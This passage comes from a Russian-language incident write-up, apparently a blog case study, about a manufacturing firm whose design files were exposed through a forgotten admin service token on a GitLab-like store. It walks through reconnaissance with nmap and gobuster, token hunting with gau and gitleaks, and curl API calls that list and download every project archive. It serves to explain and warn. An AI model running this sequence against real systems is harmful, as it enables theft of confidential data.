Запрос звучал рутинно: «посмотри доступы перед внедрением новой системы учёта». В производственных компаниях, где всё проектирование ведётся в цифре, такие аудиты обычно вскрывают пару слабых паролей и забытую учётку бухгалтера. В этот раз вышло иначе — под рутинной проверкой обнаружилась дыра, через которую можно было забрать всю техническую документацию компании одним запросом.
Где пряталась дыра
Чертежи и сборки хранились в отдельной системе для файлов разработки — по архитектуре это близко к тому, что IT-компании используют для версионирования кода и документации (Git-сервер, репозиторий артефактов, PDM-хранилище). Систему когда-то поднимал подрядчик и оставил в ней служебный вход «для тестов» — учётную запись или токен с правами уровня администратора хранилища, доступ к которому не требовал привычного логина: достаточно было знать конкретный URL с встроенным параметром доступа.
Это типичная болезнь систем хранения версий и артефактов старых конфигураций: до того как в отрасли ужесточили практики авторизации, многие такие сервисы поддерживали доступ через токен прямо в строке запроса (?private_token=... или аналогичный параметр в API), а служебные/сервисные аккаунты создавались с широкими правами «на всякий случай» и без срока жизни.
Как это эксплуатируется
Ниже — типовая последовательность действий, которую проделал бы любой человек, знающий про такой сервис хоть что-то, вплоть до бывшего сотрудника или подрядчика.
1. Разведка периметра
nmap -p- -sV --script=http-title,http-headers -oN scan.txt files.company.local
PORT STATE SERVICE VERSION
443/tcp open ssl/http nginx
| http-title: Sign in
|_http-server-header: nginx/1.18.0
Дальше — поиск скрытых и «легаси» путей, которые не индексируются в общем меню интерфейса:
gobuster dir -u https://files.company.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,json -t 50
/api/v3/ (Status: 200)
/api/v4/ (Status: 200)
/legacy_api/ (Status: 200)
/admin/runners/ (Status: 302)
Наличие параллельно живущих /api/v3/ и /api/v4/ — почти всегда признак того, что старая ветка API не была отключена после миграции: обратная совместимость сохранена, а вместе с ней и все старые способы авторизации.
2. Поиск токена, а не пароля
Ключевая деталь этого класса инцидентов: вход искали не через подбор пароля, а через утечку конкретного адреса со встроенным токеном. Такие ссылки годами живут в:
- истории браузера на служебном ноутбуке подрядчика;
- переписке в почте или мессенджере «скинь ссылку на репозиторий»;
- старых конфигурационных файлах CI/CD, оставшихся в архивах проекта;
- публичных архивах вроде Wayback Machine, если ссылка когда-то мелькала в открытом виде.
# поиск утечек токенов в исторических URL и локальных конфигах
gau files.company.local | grep -i "token="
gitleaks detect --source ./old_configs --report-path leaks.json
Finding: PRIVATE-TOKEN found in legacy_deploy.sh
Secret: glpat-xxxxxxxxxxxxxxxxxxxx
Commit: a1b2c3d (2 years ago)
3. Проверка прав токена
curl -s -H "PRIVATE-TOKEN: glpat-xxxxxxxxxxxxxxxxxxxx" \
https://files.company.local/api/v4/user | jq
{
"id": 1,
"username": "svc_legacy_deploy",
"is_admin": true
}
"is_admin": true в ответе на запрос об аккаунте — это тот самый момент, когда «забытый служебный вход» перестаёт быть теоретическим риском. Через API с админскими правами можно листать все проекты, скачивать архивы, создавать новые токены и пользователей.
4. Забор всей документации одним запросом
curl -s -H "PRIVATE-TOKEN: glpat-xxxxxxxxxxxxxxxxxxxx" \
"https://files.company.local/api/v4/projects?per_page=100" | jq '.[].path_with_namespace'
curl -s -H "PRIVATE-TOKEN: glpat-xxxxxxxxxxxxxxxxxxxx" \
"https://files.company.local/api/v4/projects/42/repository/archive.zip" -o project42.zip
В реальном инциденте именно так и произошло: спустя две недели после увольнения инженера с его рабочего адреса прошёл вход именно через этот старый служебный вход, и одним архивом были скачаны чертежи трёх текущих проектов.
Похожие уязвимости в этом классе систем — для ориентира
Чтобы показать масштаб проблемы: системы хранения версий и артефактов регулярно попадают в CVE именно по темам «легаси-авторизация» и «захват аккаунта»:
- CVE-2023-7028 — захват аккаунта в GitLab через сброс пароля на неподтверждённый второй email;
- CVE-2021-22205 — неаутентифицированный RCE в GitLab через обработку изображений при загрузке файла;
- CVE-2020-10199 / CVE-2019-7238 — неаутентифицированный RCE в Sonatype Nexus Repository Manager через устаревшие компоненты.
Конкретная жертва этой истории не привязана ни к одному из этих CVE — суть в другом: класс проблем один и тот же из года в год, и он не про «хакеров», а про забытые конфигурации и не отключённую обратную совместимость.
Сколько теряла компания на самом деле
Компания делает оборудование под заказ для нескольких крупных клиентов. Повторить их конструк
